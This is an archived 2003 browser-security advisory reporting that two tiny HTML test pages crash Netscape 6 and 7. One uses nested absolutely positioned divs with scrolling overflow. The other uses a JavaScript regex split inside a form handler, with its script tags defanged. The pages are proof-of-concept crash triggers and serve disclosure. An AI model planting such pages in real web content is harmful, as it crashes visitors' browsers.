TUCoPS :: Browsers :: nscp6024.htm

Netscape crashes by a simple stylesheet...
25th Feb 2003 [SBWID-6024]
COMMAND

	Netscape crashes by a simple stylesheet...

SYSTEMS AFFECTED

	Netscape 6/7

PROBLEM

	Jocke [jux@beer.com] says :
	
	I've found out that some simple CSS-code can crash Netscape 6 and 7.
	
	This is a simple html-page containing this code:
	
	<html>
	<body>
	 <div style="position:absolute;">
	
	 <div style="position:absolute; overflow:scroll"> 
	 
	 </div>
	 </div>
	</body>
	</html>
	
	
	 Update (26 February 2003)
	 ======
	
	dwm adds :
	
	while we're on the subject...just this week I reported to Netscape  that
	this simple invalid (?) use of regex in "split" can also  crash  7.x  on
	windows. Woopdidoo.
	
	Tested: Mozilla/5.0  (Windows;  U;  Windows  NT  5.0;  en-US;  rv:1.0.2)
	Gecko/20030208 Netscape/7.02
	
	<html>
	<head>
	<title>test</title>
	<--script-- language="JavaScript">
	function reformatDate(someDate) {
	   var tokens = someDate.split(/(\/|-)/);
	   if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
	   if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
	   var result = tokens[2] + tokens[1] + tokens[0];
	   alert(result);
	   //return result;
	}
	</--script-->
	</head>
	<body>
	<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
	MM/DD/YYYY - <input type=text name=dt> 
	<input type=submit>
	</form>
	</body>
	</html>
	

SOLUTION

	Mozilla seems unaffected

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH